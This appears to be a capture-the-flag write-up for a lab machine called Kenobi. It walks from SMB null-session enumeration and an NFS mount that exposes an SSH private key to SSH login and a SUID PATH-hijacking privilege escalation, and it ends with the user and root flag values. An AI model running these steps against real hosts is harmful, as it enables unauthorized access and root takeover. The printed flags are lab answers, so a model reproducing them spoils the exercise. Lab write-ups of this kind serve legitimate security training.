

ASSESSMENT REPORT

Target Machine: Kenobi

Machine Name: Kenobi

Target IP: 10.48.135.204

Objective: Gain initial access and escalate privilege to root.

Attack Vector: SMB → NFS → SSH → Path Hijacking → Root

Technical Observation

Based on the enumeration and exploitation phases, the following technical observations were made regarding the security posture of the Kenobi machine:

- **Open Services & Exposure:** A comprehensive port scan identified several exposed services, including FTP (ProFTPD 1.3.5), SSH (OpenSSH 8.2p1), HTTP (Apache 2.4.41), RPCBind, SMB (Samba smbd 4), and NFS.
- **Insecure SMB Configuration:** The Samba service allowed for anonymous null sessions. Exploring the `anonymous` share revealed an exposed `log.txt` file containing sensitive system information.
- **NFS Misconfiguration:** The NFS service (rpcbind) had the `/var` directory mounted and accessible without strict authentication controls. This exposure allowed an attacker to browse sensitive file paths.
- **Exposure of Cryptographic Keys:** Browsing the mounted `/var` NFS share revealed an SSH private key (`id_rsa`) within the `/tmp` directory belonging to the user `kenobi`.
- **SUID Binary Misconfiguration (Path Manipulation):** The user `kenobi` had access to a custom binary located at `/usr/bin/menu` with the SUID bit set. Analysis of the binary strings revealed that it invoked the `curl` system command without specifying its absolute path. This allowed for environment variable manipulation (Path Hijacking) to spoof the `curl` command and execute arbitrary code as the root user.

Steps to Reproduce

1. Network Scanning and Enumeration

Perform a rapid port scan to identify open ports and services on the target machine.

```
nmap -sV -p $(nmap -p- --min-rate=100 10.48.135.204 | grep '^[0-8]' | cut -d '/'  
-f1 | tr '  
' ' , ' | sed 's/,,$//') 10.48.135.204
```

2. SMB Enumeration

List available SMB shares using a null session and identify the **anonymous** share.

```
smbclient -L //10.48.135.204/ -N
```

Connect to the anonymous share and download its contents to discover sensitive logs.

```
smbclient //10.48.135.204/anonymous -N  
smb: \> mget *
```

3. NFS Mounting and Key Extraction

Check the RPCBind service for mountable NFS directories.

```
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.48.135.204
```

Mount the exposed **/var** directory to the local system and extract the SSH private key.

```
sudo mount 10.48.135.204:/var /mnt/kenobiNFS  
cp /mnt/kenobiNFS/tmp/id_rsa .  
chmod 600 id_rsa
```

4. Initial Access (User)

Use the extracted private key to authenticate via SSH as the user **kenobi**.

```
ssh -i id_rsa kenobi@10.48.135.204
```

5. Privilege Escalation (Root)

Search for files with the SUID bit set to identify privilege escalation vectors.

```
find / -perm -u=s -type f 2>/dev/null
```

Identify the anomalous binary `/usr/bin/menu`. Inspecting it with the `strings` command shows it executes `curl` without an absolute path.

Create a malicious payload named `curl`, manipulate the `PATH` environment variable to prioritize the malicious payload, and execute the SUID binary to spawn a root shell.

```
cd /tmp
echo '/bin/sh' > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu
```

Results

By following the steps above, the attacker can successfully compromise the target machine from the outside, pivot using stolen credentials, and exploit system misconfigurations to achieve full root-level control.

User Flag

Obtained after successful SSH login via the exposed private key.

```
d0b0f3f53b6caa532a83915e19224899
```

Root Flag

Obtained after successful privilege escalation utilizing SUID Path Hijacking.

```
177b3cd8562289f37382721c28381f02
```